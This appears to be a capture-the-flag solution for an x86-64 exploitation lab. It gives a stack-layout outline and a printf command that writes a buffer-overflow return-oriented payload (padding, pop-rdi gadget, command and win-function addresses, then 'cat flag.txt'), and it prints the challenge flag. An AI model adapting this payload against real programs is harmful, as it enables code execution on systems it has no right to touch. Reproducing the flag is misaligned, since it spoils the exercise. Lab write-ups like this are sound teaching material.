padding
saved rbp
gadget address (pop rdi, ret)
command address (going to rdi)
win function address (to be called with command addr in rdi as parameter)

printf 'hacklab{w3lc0m3_t0_x86_64_explo1t4t1on_I0vGIviy}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\xc3\x12\x40\00\00\00\00\00\x08\x20\x40\00\00\00\00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt